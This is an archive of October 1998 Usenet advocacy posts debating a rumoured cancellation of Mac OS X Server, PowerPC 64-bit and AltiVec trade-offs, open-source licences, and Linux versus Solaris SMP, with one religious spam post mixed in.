References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
To: leadership@apple.com
"Lawson English" <english@primenet.com> wrote:
> What do the NeXT developers and community think of this rumor?
>
> >Don Crabb just reported on MacCentral
> > <URL:http://www.maccentral.com/news/9810/18.macosx.shtml>
> > * "According to several Apple customers who attended the Apple
> > * annual report press conference in Vienna, Austria on Friday,
> > * October 16, the Mac OS X 1.0 Server has been cancelled..."
What are we supposed to think? If it's true, it's a REALLY BAD IDEA. it would
be bad for the very people Apple says it needs to win back -- developers. Why
should they have any confidence in Apple's plans when it continuously changes
them? And it would royally suck for the many users such as myself who have
been waiting for OSX Server for a long time now, and would be pissed as hell.
If it's not true, it shows how Apple's stealth decision-making lays them wide
open to rampant FUDsterism.
I think it's long past time for Apple to tell us what the hell it is they're
going to do. I hope they ship OS X Server, and soon. I've been waiting two
years to buy it, and holding off hardware and other purchases to do so. But
if they're going to be #&%$#s and cancel it, at least let us know so we can
re-evaluate our options.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Mon, 19 Oct 1998 08:48:53 -0500
Organization: none
Message-ID: <tim-1910980848530001@jump-tnt-0043.customer.jump.net>
References: <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net> <70bsns$3dn$1@nnrp1.dejanews.com> <tim-1810981102270001@jump-tnt-0230.customer.jump.net> <70e6ia$55l$1@nnrp1.dejanews.com>
In article <70e6ia$55l$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
| In article <tim-1810981102270001@jump-tnt-0230.customer.jump.net>,
| tim@jumpnet.com (Tim Olson) wrote:
|
| > Yes, but is it used often enough to require direct hardware implementation?
|
| Hard to say. What's the hardware cost of implementing it?
The cost for a 64-bit ALU in the datapath isn't all that great in terms of
area, but supporting a full 64-bit virtual address space is much more so,
and also makes the processor potentially slower:
- 64-bit adder in critical path of load/store address generation
- 52-bit tags (instead of 20 bit) in all virtually-tagged cache
structures such as TLBs
- physical address tags grow by 50% (support for 42 bit physical address
instead of 32 bit) in all caches.
- all load/store queue structures must double the address tracking queue
widths, and all comparisons must be done on the larger quantities
(slower operation)
Using the 64-bit address space in code causes pointers to grow to twice
their size, reducing cache effectiveness.
--
-- Tim Olson
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: 19 Oct 1998 14:57:39 GMT
Organization: Primenet (602)416-7000
Message-ID: <70fk13$786$1@nnrp02.primenet.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <3629ca02.0@nnrp1.news.uk.psi.net>
<362AB5AC.486BB4C1@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
: I have a better idea than that, even: how about a license that allows
: people to give away their software, protects them from liability
: (software provided "as is"), and ensures that the proper person is given
: credit for their effort?
There have been a number of projects with such licenses. I've released a
couple myself. I think the important thing is that a license alone is not
enough to make a project. You need a license and a community that relates
to it. The GPL is not my personal favorite, but I'm willing to contribute
to GPL projects because:
1. The license is "close enough"
2. The GPL community makes GPL projects viable
I've seen a few projects offered as open source on the Mac. The usual
response seems to be a deafening silence. The license may be reasonable,
but the community is not there to support it. Open source works for
Linux, because that's where the open source people are.
I'm happy to see wider use of commercial-friendly licenses (including
LGPL), but it isn't the license that makes it happen. It's the community.
John
From: Simon Kinahan <simonk@cadence.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: Mon, 19 Oct 1998 15:11:56 +0100
Organization: Cadence Design System, Inc.
Message-ID: <362B48AC.B76912D5@cadence.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <3629ca02.0@nnrp1.news.uk.psi.net> <362AB5AC.486BB4C1@nstar.net>
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Michael J. Peck wrote:
> If I'm developing free software, in my case, that means that I'm giving
> it away. If someone wants to sell it, fine, but they won't sell very
> many copies because you can get it for free elsewhere. If they want to
> improve it and sell the improvements, they're welcome to do that. After
> all, they're selling *their* improvements, not *my* free software.
I think all free software licensing schemes have their place, as I've said
in an earlier post. The problem with the BSD-style license you seem to be
advocating above is that commercial resellers of the originally free
software can add very small amounts of functionality (new drivers for
instance) which the free software community has not managed to introduce
yet, and make a killing from people with a need for them.
If you're fine with that, thats fine, but it convinces me that GPL software
has its place.
Simon
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
Content-Type: text/plain; charset=us-ascii
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Cc: english@primenet.com
Organization: My ISP puts something here if I don't.
References: <ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att
.net> <B24E6463-A496B@206.165.43.152>
Mime-Version: 1.0
Date: Mon, 19 Oct 1998 15:35:06 GMT
In <B24E6463-A496B@206.165.43.152> "Lawson English" wrote:
> Do you really believe this? Do you really believe that this is an
> acceptable solution for professionals trying to get work done, whether it
> be programming or graphics or whatever?
Being based on the G3 only? Painful sure, but reasonable. Heck, 8.5
just killed 68k, I don't see you screaming about that.
> MacOS Server is virtually dead. It will likely be released ONLY to avoid
> lawsuits. Cross-platform Carbon hasn't even been announced and without it,
> cross-platform Yellow Box can't exist without charging extra money per box
> for things like a Display PostScript license.
*blink* What? What does...
a) carbon have to do with YB
b) DPS have to do with YB (in the future)
c) the licence fee have to do with either?
YB is available now in a cross platform version and you don't get extra
charges for DPS. I get the feeling the statement above does not accurately
represent your comment.
> By definition, if Apple were able to fulfill the majority of its
> customer's
> needs, it would be a thriving computer company
I don't agree. Apple runs as much on faith and rumor as it does on
anything approaching reality. In the past Apple was pretty much terrible
at all of it.
> There's obviously some NON-financial issues going on, such as Jobs'
> obvious hatred of clones.
Or perhaps they do want everyone to upgrade?
Maury
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: 18 Oct 1998 10:11:35 GMT
Organization: Idiom Communications
Message-ID: <70cesn$26p$2@news.idiom.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news>
<F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost>
<36290618.7C76D28F@nstar.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mjpeck@nstar.net
"Michael J. Peck" may or may not have said:
-> Some of us, nay, many of us, don't see it that way. Open Source means
-> roughly nothing to me. I don't give a rat's ass for Richard Stallman and
-> his crazy socialist antics,
And many people in the free software camp don't especially enjoy his company
either.
->and I certainly don't support Eric Raymond's
-> conjecture that Open Source software is, somehow, technically superior
-> to commercial software.
It doesn't require your "support."
Eric's "conjecture", as you call it, is quite demonstrable. Open source
gains the benefit of *many* eyes looking for flaws, and the proof is in the
pudding. Linux runs solaris binaries faster than solaris. Linux gets its
security fixes weeks or months before the commercial UNIXes, typically neck
and neck with the free BSD's.
GCC has code generators available for more processors than any other
compiler, and its code quality is rarely exceeded by anything but
special-purpose, single-target compilers produced by the chip manufacturer.
Perl and Python make tremendous gains in power and usefullness with every
release.
Sure, some crap gets released as Open-Source code. Linux wasn't very
impressive when it hit the streets as a rev on Minix, but look at the *rate*
of improvement.
Eric's contention is that Open Source is more conducive to quality software,
and I agree with him, based on direct, personal experience with many of the
widely-known programs available on such terms.
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 18 Oct 1998 10:13:34 GMT
Organization: Idiom Communications
Message-ID: <70cf0e$26p$3@news.idiom.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu>
<360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com>
<36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com>
<361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com>
<6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com>
<6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com>
<6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com>
<joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu>
<ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu>
<01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net>
<ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net> <36290128.BEF527F9@nstar.net>
Mime-Version: 1.0
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Cc: mjpeck@nstar.net
"Michael J. Peck" may or may not have said:
-> Craig Koller wrote:
->
-> [cut]
->
-> > So, given the choice of a 100% customer-fulfilling DEAD Apple, and a
-> > restructured, partially fulfilling LIVING, thriving and innovating
Apple?
-> >
-> > C'mon...
->
-> What's difference between the second choice and Microsoft?
About five orders of magnitude of code quality, for a start.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Mon, 19 Oct 1998 11:01:07 -0500
Organization: Ericsson North America Inc.
Message-ID: <362B6243.DEAF74E9@ericsson.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<362B3FE6.B57084A9@nstar.net> <70fh7b$jm8@newsb.netnews.att.com> <F12zqr.349@T-FCN.Net>
Mime-Version: 1.0
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Maury Markowitz wrote:
[cut]
> If anything this demonstrates why Apple has to keep mum about this as
> much as possible, as it seems that some of their employees are willing to
> spout off about things they really don't know about, in public, at
> MacWorlds. Releasing real info would simply add to the confusion.
No. You didn't really just say that...
What is it Dogbert says? Something like "Out! Out, you demons of
stupidity!"
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Mon, 19 Oct 1998 10:54:15 -0500
Organization: Ericsson North America Inc.
Message-ID: <362B60A7.C227DAF9@ericsson.com>
References: <362A8003.C1302C38@nstar.net> <F12zF3.2wH@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Maury Markowitz wrote:
> > It's okay for Apple to act this way because they almost died? Huh?
>
> Ummm, yes. Do you suggest it's not?
Ummm, yes.
> That strikes me as a very odd definition of ethics.
Don't worry, I already got the official "Apple at all costs" laundry
list from Craig. No need for you to weigh in, here. Move along. Nothing
to see.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 19 Oct 98 09:47:52 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B250BB4A-22543@206.165.43.49>
References: <F12zAJ.2uz@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>a) carbon have to do with YB
The Carbon API provides a different access to the graphics engine and so on
then YB does. I'm willing to bet that by the time MacOS X consumer is
released, YB will be calling Carbon directly. That way, all you need for a
cross-platform YB is a cross-platform Carbon.
>b) DPS have to do with YB (in the future)
Nothing.
>c) the licence fee have to do with either?
>
> YB is available now in a cross platform version and you don't get extra
>charges for DPS. I get the feeling the statement above does not
accurately
>represent your comment.
Where's the purported $20/unit licensing fee coming from if not for DPS?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 19 Oct 98 09:59:34 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B250BE09-2CA4B@206.165.43.49>
References: <F130B3.3D0@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.powerpc.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B24E193E-1C973@206.165.43.60> "Lawson English" wrote:
>> None, at this point, but as someone else pointed out, 64-bit fixed point
>> operations could easily replace floating point operations in games and
>
> Wouldn't this be likely to result in minimal gains, and perhaps loses?
>One of the advantages of using the FPU is that it leaves the int units
free.
True. However, consider a 2D game on a large playing field where you'd like
to add the 3D perspective of GX or QuickTIme without actually going to 3D
for anything else (this applies more to PhotoShop-style apps, actually).
Being able to directly manipulate pixels' coordinates using 64-bit
fixed-point arithmetic might give you a big speedup because you wouldn't
have to convert to/from fixed/ float for each pixel manipulated. The
conversion process might eat up any advantage of having a fixed + float mix
of instructions, at least on a PPC.
Of course, it may be that AltiVec renders most of these points obsolete. I
don't recall how conversion between AltiVec fixed and float goes. It still
touches memory during the process, doesn't it?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: godstoolxx@aol.com (GodsToolxx)
Newsgroups: comp.sys.next.advocacy
Subject: AFTER 1999? BEWARE!
Date: 18 Oct 1998 10:45:14 GMT
Organization: AOL, http://www.aol.co.uk
Message-ID: <19981018064514.26758.00002456@ng111.aol.com>
AFTER 1999? BEWARE!
CRUCIAL DIVINE MESSAGES FROM THE
HIGHEST HEAVEN TO THE ENTIRE WORLD.
FOR DETAILS VISIT:-
HTTP://MEMBERS.AOL.COM/GODSTOOLXX
HTTP://WWW.OOO.ORG.UK
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 19 Oct 1998 18:37:41 GMT
Organization: MiscKit Development
Message-ID: <70g0tl$mdh$4@news.xmission.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 19 Oct 1998 18:37:41 GMT
spagiola@my-dejanews.com wrote:
> "Lawson English" <english@primenet.com> wrote:
> > What do the NeXT developers and community think of this rumor?
> >
> > >Don Crabb just reported on MacCentral
> > > <URL:http://www.maccentral.com/news/9810/18.macosx.shtml>
> > > * "According to several Apple customers who attended the Apple
> > > * annual report press conference in Vienna, Austria on Friday,
> > > * October 16, the Mac OS X 1.0 Server has been cancelled..."
>
>
> What are we supposed to think? If it's true, it's a REALLY BAD IDEA.
> [...]
> If it's not true, it shows how Apple's stealth decision-making lays
> them wide open to rampant FUDsterism.
Of course.
> I think it's long past time for Apple to tell us what the hell it
> is they're going to do.
Has anyone considered that perhaps even Apple doesn't know what it is going
to do?
Maybe (and this is 100% wasteful speculation, really) there is a violent
civil war raging in Cupertino between the old Mac guard and the new people
from NeXT over what to do with the release and until the dust settles, even
they don't know how it will turn out!
Sounds strange, but it makes at least as much sense as every other stupid
rumor that has crossed these newgroups in the past several months. As for
me, I'll just wait and see what happens...
At least one poster to this thread is probably closer to the truth than any
of us so far have been:
Corey Winesett wrote:
> Of course, with these sources, the most likely possiblity is that
> they are both wrong.
So true! Based on rumors I've heard, and a little logical thinking about
what public events *have* occurred, I think MOSR is probably a bit closer to
the truth, but by how much I won't even conjecture. Even if I knew, I
couldn't say anyway...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Content-Type: text/plain; charset=us-ascii
Message-ID: <F138vE.6G6@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: Michael.Peck@ericsson.com
Organization: My ISP puts something here if I don't.
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<362B3FE6.B57084A9@nstar.net> <70fh7b$jm8@newsb.netnews.att.com>
<F12zqr.349@T-FCN.Net> <362B6243.DEAF74E9@ericsson.com>
Mime-Version: 1.0
Date: Mon, 19 Oct 1998 19:02:00 GMT
In <362B6243.DEAF74E9@ericsson.com> Michael Peck wrote:
> What is it Dogbert says? Something like "Out! Out, you demons of
> stupidity!"
Indeed, Apple could be the Dilbert model.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Content-Type: text/plain; charset=us-ascii
Message-ID: <F138yv.6K9@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: jjens@primenet.com
Organization: My ISP puts something here if I don't.
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5>
<362B3FE6.B57084A9@nstar.net> <70fh7b$jm8@newsb.netnews.att.com>
<F12zqr.349@T-FCN.Net> <70fovl$onj$2@nnrp03.primenet.com>
Mime-Version: 1.0
Date: Mon, 19 Oct 1998 19:04:06 GMT
In <70fovl$onj$2@nnrp03.primenet.com> John Jensen wrote:
> Wait a second ... you've heard 5-10 developers at Apple saying the same
> thing?
No. I've heard about 3 _workers_ at Apple (none of them developers)
saying the same thing. The hostility towards all things jobsian, notably
OpenStep, is VERY strong in some areas. Note that this latest rumor is the
same thing all over again.
> I hope you just mean "spin-control could be dangerous", and not "You can't
> handle the truth!".
The former.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 19 Oct 98 11:58:48 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B250DA00-95C7F@206.165.43.49>
References: <199810191741.MAA13308@icarus.cc.uic.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
To: "Anil T Maliyekke" <amaliy1@icarus.cc.uic.edu>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.powerpc.advocacy
Anil T Maliyekke <amaliy1@icarus.cc.uic.edu> said:
Lawson English <english@primenet.com> said:
>
>: Of course, it may be that AltiVec renders most of these points obsolete.
I
>: don't recall how conversion between AltiVec fixed and float goes. It
still
>: touches memory during the process, doesn't it?
>
>The converion is placed into an AltiVec register. If you want to
>get the results into a FPR or GPR, then I suppose you have to go through
>memory.
>
Ah, then most of my points ARE obsolete. Unless you need a Really Big
Memory model for some reason, AltiVec would replace the most of the uses of
64-bit fixed-point that I mentioned.
Thanks.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
Content-Type: text/plain; charset=us-ascii
Message-ID: <F138sH.6E6@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: english@primenet.com
Organization: My ISP puts something here if I don't.
References: <F12zAJ.2uz@T-FCN.Net> <B250BB4A-22543@206.165.43.49>
Mime-Version: 1.0
Date: Mon, 19 Oct 1998 19:00:16 GMT
In <B250BB4A-22543@206.165.43.49> "Lawson English" wrote:
> The Carbon API provides a different access to the graphics engine and so
> on then YB does.
Not that I am aware of, and I've read all of what's available about it
and talked to the engineers. Although the YB side will have a slightly
different interface (and HOPEFULLY a OO model) than the Carbon side, both
will access the calls in the same fashion and are likely to both have 100%
coverage. For YB this will be minor changes, for Carbon this will be a
major upgrade to QD (at long last). I don't believe your statement has
even a grain of truth.
> I'm willing to bet that by the time MacOS X consumer is
> released, YB will be calling Carbon directly.
Lawson, it's clear that you don't have a good understanding about how
this is supposed to work. eQD is to be a client side engine (much as QD is
today) that is separate from either Carbon or YB. This is also true of
QTML in general - your statement is the same as suggesting that YB will
"call Carbon" to get QT. This is a meaningless statement.
> That way, all you need for a
> cross-platform YB is a cross-platform Carbon.
a) or a cross platform eQD
b) or a cross platform QTML
You don't get it.
> Where's the purported $20/unit licensing fee coming from if not for DPS?
Considering that the current versions for NT cost quite a bit more than
$20, the statement is again pointless.
Maury
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Motorola's G4 PowerPC
Content-Type: text/plain; charset=us-ascii
Message-ID: <F139M3.7C1@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: My ISP puts something here if I don't.
References: <F130B3.3D0@T-FCN.Net> <B250BE09-2CA4B@206.165.43.49>
Mime-Version: 1.0
Date: Mon, 19 Oct 1998 19:18:01 GMT
In <B250BE09-2CA4B@206.165.43.49> "Lawson English" wrote:
> True. However, consider a 2D game on a large playing field where you'd
> like
> to add the 3D perspective of GX or QuickTIme without actually going to 3D
> for anything else (this applies more to PhotoShop-style apps, actually).
But even in these cases you're almost certainly better off doing all of
the graphics on the FPU and leaving the int to the branching stuff. IE, GX
on the FPU would result in (likely) the same or better overall performance.
> Of course, it may be that AltiVec renders most of these points obsolete. I
> don't recall how conversion between AltiVec fixed and float goes. It still
> touches memory during the process, doesn't it?
The problem there is the memory bandwidth, as AV will typically be used
on huge streamed files.
Maury
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Mon, 19 Oct 1998 15:25:59 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-1910981526000001@ppp88.blackbox1-mfs.netaxs.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <362B3FE6.B57084A9@nstar.net> <70fh7b$jm8@newsb.netnews.att.com> <F12zqr.349@T-FCN.Net>
Mail-Copies-To: jayfar@netaxs.com
FWIW, Crabb has posted a followup:
<URL:http://www.maccentral.com/news/9810/19.manager.shtml>
He tells of what he terms a "denial denial," citing an email from Theresa
Wermelskirchen, Apple Europe's PR Manager, who wrote, in part: "...I only
can assure you that we showed the well known timeline on Mac OS 8 and Mac
OS X during our briefing regarding the annual result. There was no other
announcement made during this event." Crabb states he has received no
response from Wermelskirchen to direct questions of whether or when MacOS
X Server will ship.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: Matt Evans <bmajik@loathe.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: 19 Oct 1998 14:26:18 -0500
Organization: University of Nebraska-Lincoln
Message-ID: <x7hfx0uzdx.fsf@loathe.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <70cesn$26p$2@news.idiom.com> <362A307E.F06DA670@nstar.net> <slrn72kecv.246.dblake@209-142-19-207.oak.inreach.net>
dblake@209-142-19-207.oak.inreach.net (Dave Blake) writes:
> Linux has better SMP than Solaris for the number of processors
> in the development tree (I think it is 8). Solaris, SGI, and Dec
> Unix all scale higher than that but it is a very very small
> market for a terabyte drive 128 processor machine. The PC bus makes
> more than about 4 processors irrelevant anyway. It would be great,
> but not a tremendous contribution to the computing world, if linux
> went to higher processor numbers for alpha and sparc ports. It
> would not be a great contribution since there are just not that
> many machines.
You are smoking crack. I don't have a nice way of saying it. Linux SMP
used to be *terrible*. It's gotten better recently. It's still no where
near up to par with Solaris though. If you're wanting to do
threaded programming on an SMP box, i've not seen an OS that handles
multi-CPU operation better than solaris, nor have I seen an OS that supports
threads/pthreads more wholeheartedly. Linux pthreads for example doesn't
implement alot of the pthreads specification properly. Thread scheduling
policy is one area if memory serves. I'm not sure the linux kernel has the
underlying support to do this properly. If thats the case, its not only
a linux pthreads problem, its a linux kernel problem.
Why is it that the linux developers are always talking about "this needs to be
'truly' threaded" and "the kernel needs to be *more* threaded". Sure, I don't
converse with Sun kernel coders on a daily basis, but i've not heard anyone say
"you know.. sun just doesn't have SMP together.. and they dont do threads
right at all"
Another aspect to consider here is something as silly as manual pages.
The man page for damn near every function in solaris indicates its level
of thread saftey. I've not seen another UNIX which does that. Sun is
committed to building robust multi-CPU solutions, both in the software
and hardware realm. To date SGI has only built 2 multi-CPU desktop machines,
and one of them (the Power Indigo^2 R8000 boxes) was so rare few have even
heard of it ( or remember it ). IRIX 6.4 was the first decently multi-cpu
kernel SGI had released.
If there were only *1 thing* Sun excelled at, it would be SMP and
multi-cpu machines and OSes. Who else has a multi-threaded mail reader,
standard, with the operating system ?
Now about your discounting of SMP hardware designs..
Furthermore, more than *2* processors on a standard system bus is foolish.
Even in the SS10/20 machines, 4 CPUs fell off the improvement scale that 2
acheived. This was not a limitation of Solaris, this was a limitation of the
bus design. I'd say that the ss10/20 MBus design/implementation is a damn
sight better than a 2 or 4 way SMP intel board.
Also realize, that CRAY made abox called the CS6400.
64 Supersparc processors.
Guess what OS it ran ? Cray Solaris 2.4.
These were shared-memory shared-bus machines. 64 Processors, and as
I remember, nearly linear speedup.
In conslusion:
I understand that you really like linux. I really like linux too.
Don't be an over-zealous Amiga freak and start preaching linux as the solution
to allll the worlds problems... it's not there yet. Don't also start talking
about what linux can and can't do in terms of what you've heard people say,
talk about it in terms of what you've seen it *Do*. Your average
linux-zealout might be inclined to tell me I could have a massive database
machine using Linux-alpha on a DEC alpha server using mysql. That all looks
dandy on paper. In practice ? The machine falls over.
You might also tell me that given a sufficiently large machine, linux can
handle any load. The reality ? A RADIUS server getting locked in kernel
filesystem code, randomly but consistantly (as odd as that sounds,
what i mean is is that we can't find a good reason for it to be happening,
and it just started doing so recently. No software or configuration info
was changed) , such that a reboot is absolutely required.
Also, don't ever mention to me how "linux crushes solaris
with the crash-me program". I don't frankly give a damn.
It is possible to construct a scenario that will crush a given algorithm
(usually... gods like Knuth and the bunch may be exceptions :).. consider
all the garbage in your average UNIX operating system... are you telling me
that Linux is mystically free of things which make it fall over from userland ?
Please tell me you're not.
The important thing here is that while linux outlasts solaris running a program
designed explicitly to kill 1 aspect of solaris, Solaris stays up in the
environments we use it in.. and Linux falls over. I'm not interested in
Listening to you say "you've got the source, you've got the debugger, fix it!"
I don't have time for that nonsense...when machines go down people get mad
and money gets lost. Read Brooks sometime and realize the best way to develop
software is not to develop it at all.. if there's something out there that
does what you need it to do.. USE IT INSTEAD.
Well. That was a nice directionless rant. I hope you all enjoyed it.
In conclusion, dont get over-zealous about Linux's capabilities. It's SMP
implementation, documentation, and conceptual design are sorely lacking
compared to solaris's.
--
Matt Evans web: www.loathe.com/~bmajik
School: mevans@cse.unl.edu Work: bmajik@ntr.net
"No one will be left to prove that numbers existed,
Maybe soon the children will be born open fisted" -- Dave Mustaine
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 19 Oct 1998 19:45:31 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R1910981247230001@netnews.worldnet.att.net>
